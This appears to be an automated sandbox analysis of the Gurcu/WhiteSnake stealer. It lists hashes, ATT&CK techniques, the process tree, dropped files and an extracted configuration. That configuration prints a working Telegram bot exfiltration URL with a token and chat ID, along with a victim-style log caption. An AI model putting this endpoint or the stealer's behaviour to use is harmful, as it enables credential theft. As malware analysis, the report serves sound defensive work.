gurcu | 9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-12-2024 13:02

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General

Target

55f8e0ef95c316591d64a7bf1bf6ce7b.exe
Size

5.6MB
MD5

55f8e0ef95c316591d64a7bf1bf6ce7b
SHA1

53a4f3375799babd0fcc08190a925b467e7fede7
SHA256

9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9
SHA512

f9bec2a6ee0ca7050c735d62b6be35d732269085a4f92c5720495ec6171ed40d887276f69da978487f08c48690e66f360fffc66a9d8e7cbb4fed04ebd0666ee0
SSDEEP

98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc/:adOuK6mn9NzgMoYkSIvUcwti7TQlvci6

Score

10^/10

gurcu discovery spyware stealer

Malware Config

Extracted

Family

gurcu

https://api.telegram.org/bot7822020748:AAGrioLZvBM_jgQaep0KKTha1_5Kzmwl62s/sendDocument?chat_id=7538374929&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	tempdatalogger.exe

Executes dropped EXE 1 IoCs

pid	Process
3184	tempdatalogger.exe

Loads dropped DLL 2 IoCs

pid	Process
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
3184	tempdatalogger.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
5	raw.githubusercontent.com
16	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
3348	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	tempdatalogger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	tempdatalogger.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1488	timeout.exe

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe
3184	tempdatalogger.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe
Token: SeDebugPrivilege	3348	tasklist.exe
Token: SeDebugPrivilege	3184	tempdatalogger.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 212	4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe	83
PID 4564 wrote to memory of 212	4564	55f8e0ef95c316591d64a7bf1bf6ce7b.exe	83
PID 212 wrote to memory of 5112	212	cmd.exe	85
PID 212 wrote to memory of 5112	212	cmd.exe	85
PID 212 wrote to memory of 3348	212	cmd.exe	86
PID 212 wrote to memory of 3348	212	cmd.exe	86
PID 212 wrote to memory of 2676	212	cmd.exe	87
PID 212 wrote to memory of 2676	212	cmd.exe	87
PID 212 wrote to memory of 1488	212	cmd.exe	89
PID 212 wrote to memory of 1488	212	cmd.exe	89
PID 212 wrote to memory of 3184	212	cmd.exe	90
PID 212 wrote to memory of 3184	212	cmd.exe	90
PID 3184 wrote to memory of 1040	3184	tempdatalogger.exe	98
PID 3184 wrote to memory of 1040	3184	tempdatalogger.exe	98
PID 1040 wrote to memory of 4028	1040	cmd.exe	100
PID 1040 wrote to memory of 4028	1040	cmd.exe	100

C:\Users\Admin\AppData\Local\Temp\55f8e0ef95c316591d64a7bf1bf6ce7b.exe
"C:\Users\Admin\AppData\Local\Temp\55f8e0ef95c316591d64a7bf1bf6ce7b.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp93B4.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp93B4.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:5112
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4564"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:3348
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:2676
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1488
- - C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe
    "C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3184
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpAEDD.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpAEDD.tmp.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1040
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp93B4.tmp.bat

Filesize
322B

MD5
878ea397b264a77de4109e50a5b00ddb

SHA1
2f735d813368d11200d6ba644bd92e99aac9ef73

SHA256
76ac10695144e6365be96a4424b4e0aa36226265f71e73bcd3f43dbb1248bf89

SHA512
1e00868ef13f3572cfa50f95a0be63a6a377eb8e1446b638a7aaee3efd096e241f767174be987f915c4c58d3cfa775bae4a18bf460ea68bb630123866a5ca1bb

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAEDD.tmp.bat

Filesize
149B

MD5
9b50431381f90bb6149dbb5c85095c94

SHA1
3eed9d5a930e860d2308abec184946022a258a08

SHA256
bc8d12c414c230d3c3d1e444a4a6af0bbe189ba0e810fd5aa3fd2873c5d32d4b

SHA512
a581e798ff3db6780740d71e184b98acd42f11a7c7fcbf1416a3b24833a7b09a51487ef382eea5987d5bb3d4fc14cd12be0fef6ba388083b8818256cdfc30480

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\CREDIT~1

Filesize
116KB

MD5
f70aa3fa04f0536280f872ad17973c3d

SHA1
50a7b889329a92de1b272d0ecf5fce87395d3123

SHA256
8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

SHA512
30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

Download Submit
C:\Users\Admin\AppData\Roaming\AdminUserCash\tempdatalogger.exe

Filesize
5.6MB

MD5
55f8e0ef95c316591d64a7bf1bf6ce7b

SHA1
53a4f3375799babd0fcc08190a925b467e7fede7

SHA256
9d543df8d1d705870da23de3f9a43f467fe998836fd00d7ffff1ea3c4701e5f9

SHA512
f9bec2a6ee0ca7050c735d62b6be35d732269085a4f92c5720495ec6171ed40d887276f69da978487f08c48690e66f360fffc66a9d8e7cbb4fed04ebd0666ee0

Download Submit
memory/3184-27-0x000001B646E90000-0x000001B646EB6000-memory.dmp

Filesize
152KB

Download
memory/3184-23-0x000001B646EE0000-0x000001B646F30000-memory.dmp

Filesize
320KB

Download
memory/3184-49-0x000001B646F90000-0x000001B646FA2000-memory.dmp

Filesize
72KB

Download
memory/3184-28-0x000001B647C30000-0x000001B647F5E000-memory.dmp

Filesize
3.2MB

Download
memory/3184-19-0x000001B62D840000-0x000001B62D85E000-memory.dmp

Filesize
120KB

Download
memory/3184-20-0x000001B646400000-0x000001B64646A000-memory.dmp

Filesize
424KB

Download
memory/3184-22-0x000001B646DE0000-0x000001B646E92000-memory.dmp

Filesize
712KB

Download
memory/3184-26-0x000001B646F30000-0x000001B646F6A000-memory.dmp

Filesize
232KB

Download
memory/3184-24-0x000001B6460F0000-0x000001B646112000-memory.dmp

Filesize
136KB

Download
memory/4564-12-0x00007FFAC2650000-0x00007FFAC3111000-memory.dmp

Filesize
10.8MB

Download
memory/4564-0-0x00007FFAC2653000-0x00007FFAC2655000-memory.dmp

Filesize
8KB

Download
memory/4564-7-0x00000202ED480000-0x00000202ED4F6000-memory.dmp

Filesize
472KB

Download
memory/4564-8-0x00007FFAC2650000-0x00007FFAC3111000-memory.dmp

Filesize
10.8MB

Download
memory/4564-6-0x00000202D3390000-0x00000202D339A000-memory.dmp

Filesize
40KB

Download
memory/4564-1-0x00000202D29B0000-0x00000202D2F48000-memory.dmp

Filesize
5.6MB

Download